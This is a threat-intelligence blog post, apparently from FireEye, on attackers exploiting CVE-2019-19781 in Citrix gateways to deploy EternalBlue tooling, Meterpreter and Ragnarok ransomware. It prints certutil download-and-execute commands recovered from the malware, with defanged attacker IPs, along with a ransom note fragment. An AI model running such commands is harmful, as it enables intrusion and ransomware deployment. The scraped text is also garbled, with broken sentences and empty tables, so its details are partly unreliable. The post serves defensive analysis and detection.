Since January 10, 2020, FireEye has tracked extensive global
exploitation of CVE-2019-19781, which continues to impact Citrix ADC
and Gateway
that are unpatched or do not have
applied. We previously reported on
swift attempts to exploit this vulnerability and the
post-compromise deployment of the previously unseen
malware family by one threat actor. FireEye continues to
actively track multiple clusters of activity associated with
exploitation of this vulnerability, primarily based on how attackers
interact with vulnerable Citrix ADC and Gateway instances after identification.
While most of the CVE-2019-19781 exploitation activity we’ve
observed to this point has led to the deployment of coin miners or
most commonly NOTROBIN, recent compromises suggest that this
vulnerability is also being exploited to deploy ransomware. If your
organization is attempting to assess whether there is evidence of
compromise related to exploitation of CVE-2019-19781, we highly
encourage you to use the
Scanner co-published by FireEye and Citrix, which detects the
activity described in this post.
Between January 16 and 17, 2020, FireEye
Defense detected the IP address
CVE-2019-19781 at dozens of FireEye clients. When successfully
exploited, we observed impacted systems executing the cURL command to
download a shell script with the file name
same shell script was instead downloaded from hxxp://198.44.227[.]126:81/citrix/ld.sh.
Figure 1: Snippet of ld.sh, downloaded
from 45.120.53.214
The shell script, provided in Figure 2, searches for the
on Citrix Gateway 12.x and 13.x systems) and downloads two additional
files to the system: piz.Lan, a XOR-encoded
data blob, and de.py, a Python script, to a
temporary directory. This script then changes permissions and executes
de.py, which subsequently decodes and
decompresses piz.Lan. Finally, the script
cleans up the initial staging files and executes
more detail later in the post.
|
Figure 2: Contents of ld.sh, a shell-script to
download additional tools to the compromised system
Armed with the information gathered from
decompressing “.net.zip” (MD5:
0caf9be8fd7ba5b605b7a7b315ef17a0). Inside, we recovered five files,
represented in Table 1:
|
|
|
x86.dll | valign="top"> | valign="top"> |
x64.dll | valign="top"> | valign="top"> |
scan.py | valign="top"> | |
xp_eternalblue.replay | Exploit replay file | valign="top"> |
eternalblue.replay |
Table 1: Contents of the ZIP file
".new.zip", created by the script de.py
The contents of the ZIP were explained via analysis of the file
scan.py, a Python scanning script that
would also automate exploitation of identified vulnerable system(s).
Our initial analysis showed that this script was a combination of
functions from multiple open source projects or scripts. As one
example, the replay files, which were either adapted or copied
directly from this
GitHub repository, were present in the
Figure 3: Snippet of scan.py showing
usage of EternalBlue replay files
This script also had multiple functions checking whether an
identified system is 32- vs. 64-bit, as well as raw shell code to step
through an exploit. The exploit_main
function, when called, would appropriately choose between 32- or
64-bit and select the right DLL for injection, as shown in Figure 4.
Figure 4: Snippet of scan.py showing
instructions to deploy 32- or 64-bit downloaders
Our analysis continued by examining the capabilities of the 32- and
64-bit DLLs, aptly named x86.dll and
performed the following tasks (Figure 5 and Figure 6):
| certutil.exe -urlcache -split -f hxxp://45.120.53[.]214/patch32 C:/Users/Public/since1969.exe cmd.exe /c C:/Users/Public/since1969.exe certutil -urlcache -f hxxp://45.120.53[.]214/patch32 delete |
Figure 5: Snippet of strings from x86.dll
| certutil.exe -urlcache -split -f hxxp://45.120.53[.]214/patch64 C:/Users/Public/since1969.exe cmd.exe /c C:/Users/Public/since1969.exe certutil -urlcache -f hxxp://45.120.53[.]214/patch64 delete |
Figure 6: Snippet of strings from x64.dll
Although neither patch32 nor
FireEye identified a file on VirusTotal with the name
linked to the IP address 45[.]120[.]53[.]214 (Figure 8). This file is
an instance of the
available Meterpreter backdoor that was uploaded on November 12,
2019. Additional analysis confirmed that this binary communicated to
45[.]120[.]53[.]214 over TCP port 1234.
Figure 7: VirusTotal graph showing links
between resources hosted on or communicating with 45.120.53.214
Within the avpass.exe binary, we found an
interesting PDB string that provided more context about the tool’s
author: “
Utilizing ragnarok as a keyword, we pivoted
and were able to identify a separate copy of
48452dd2506831d0b340e45b08799623) uploaded to VirusTotal on January
23, 2020. The binary’s compilation timestamp of January 16, 2020,
aligns with our earliest detections associated with this threat actor.
Further analysis and sandboxing of this binary brought all the
pieces together—this threat actor may have been attempting to deploy
ransomware aptly named ‘Ragnarok’. We’d like to give credit to
Tweet from Karsten Hahn, who identified ragnarok-related about
artifacts on January 17, 2020, again aligning with the timeframe of
our initial detection. Figure 8 provides a snippet of files created by
the binary upon execution.
Figure 8: Ragnarok-related ransomware files
The ransom note dropped by this ransomware, shown in Figure 6.it's wise to pay the how to buy bitcoin and transfer? i think you are asgardmaster5@protonmail[.]com Attention:if you wont pay the ransom in five days, all of |
Figure 9: Snippet of ransom note dropped by “since1969.exe”
FireEye continues to observe multiple actors who are currently
seeking to take advantage of CVE-2019-19781. This post outlines one
threat actor who is using multiple exploits to take advantage of
vulnerable internal systems and move laterally inside the
organization. Based on our initial observations, the ultimate intent
may have been the deployment of ransomware, using the Gateway as a
central pivot point.
As previously mentioned, if suspect your Citrix appliances may have
been compromised, we recommend utilizing the
FireEye released in partnership with Citrix.
Aside from CVE-2019-19781, FireEye detects the activity described in
this post across our platforms, including named detections for
Meterpreter, and EternalBlue. Table 2 contains several specific
detection names to assist in detection of this activity.
|
CERTUTIL.EXE DOWNLOADER |
CURL Downloading Shell Script |
ETERNALBLUE EXPLOIT |
METERPRETER (Backdoor) |
METERPRETER URI (STAGER) |
SMB - ETERNALBLUE |
Table 2: FireEye Detections for activity
described in this post
Table 3 provides the unique indicators discussed in this post.
|
|
|
Network | valign="top"> | valign="top"> |
Network | valign="top"> | valign="top"> |
Host | valign="top"> | |
Host | valign="top"> | |
Host | valign="top"> | |
Host | valign="top"> | |
Host | valign="top"> | |
Host | valign="top"> | |
Host | valign="top"> | |
Host | valign="top"> | |
Host | valign="top"> | |
Host | valign="top"> | |
Host | valign="top"> | |
Email Address | From ransom note | |
Email Address | From ransom note | |
Email Address |
Table 3: Collection of IOCs from this blog post